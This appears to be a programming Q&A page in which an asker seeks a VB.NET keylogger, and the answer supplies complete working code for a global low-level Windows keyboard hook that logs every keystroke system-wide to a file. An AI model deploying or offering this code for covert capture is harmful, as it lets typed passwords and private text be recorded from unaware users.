How to detect keystrokes on another application in vb.net? [duplicate] - vb.net

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How to listen keyboard in background and fire keystrokes on demand?
(2 answers)
Closed 6 years ago.
I am making a program which uses the function of a keylogger to determine trends, the problem is I can't make the keylogger, I have most of it complete but I can't get key presses when the form is out of focus... I have seen people mentioning keyboard and message hooks, but I can't find any examples or understand any documents on it.
Private Sub Form1_KeyPress(sender As Object, e As KeyPressEventArgs) Handles MyBase.KeyPress
Using sw As StreamWriter = File.AppendText(Path) ' Open keylog file for editing
If Asc(e.KeyChar) = 13 Then ' If key pressed is Enter...
sw.Write("|Enter|") ' Append "|Enter|"
ElseIf Asc(e.KeyChar) = 8 Then ' If key pressed is Backspace...
sw.Write("|Backspace|") ' Append "|Backspace|"
Else
sw.Write(e.KeyChar) ' Otherwise append character
End If
End Using
End Sub
As you can see I have the recording of the keys and everything, I just need to be able to get key presses when the application is minimized or out of focus.
Thanks in advance.

Answer 1

This works perfectly...
Imports System.IO
Public Class Form1
Dim Path As String = "C:\Users\user\Desktop\keys.log" ' Keylog file location
Private WithEvents kbHook As New KeyboardHook
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
If My.Computer.FileSystem.FileExists(Path) = False Then ' If keylog file doesn't exist...
File.CreateText(Path) ' Create keylog file
End If
End Sub
Private Sub kbHook_KeyDown(ByVal Key As Keys) Handles kbHook.KeyDown
Using sw As StreamWriter = File.AppendText(Path) ' Open keylog file for editing
sw.Write(Key.ToString) ' Append character
End Using
End Sub
End Class
I put the KeyboardHook class in a separate file to keep it out the way for when I need to fix something else in the Form1 class. I would advise this unless you don't need to add anything else to your program.
Imports System.Runtime.InteropServices
Public Class KeyboardHook
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)>
Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)>
Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
End Function
<DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)>
Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
End Function
<StructLayout(LayoutKind.Sequential)>
Private Structure KBDLLHOOKSTRUCT
Public vkCode As UInt32
Public scanCode As UInt32
Public flags As KBDLLHOOKSTRUCTFlags
Public time As UInt32
Public dwExtraInfo As UIntPtr
End Structure
<Flags()>
Private Enum KBDLLHOOKSTRUCTFlags As UInt32
LLKHF_EXTENDED = &H1
LLKHF_INJECTED = &H10
LLKHF_ALTDOWN = &H20
LLKHF_UP = &H80
End Enum
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const HC_ACTION As Integer = 0
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
Private HHookID As IntPtr = IntPtr.Zero
Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
If (nCode = HC_ACTION) Then
Dim struct As KBDLLHOOKSTRUCT
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
End Select
End If
Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
End Function
Public Sub New()
HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
If HHookID = IntPtr.Zero Then
Throw New Exception("Could not set keyboard hook")
End If
End Sub
Protected Overrides Sub Finalize()
If Not HHookID = IntPtr.Zero Then
UnhookWindowsHookEx(HHookID)
End If
MyBase.Finalize()
End Sub
End Class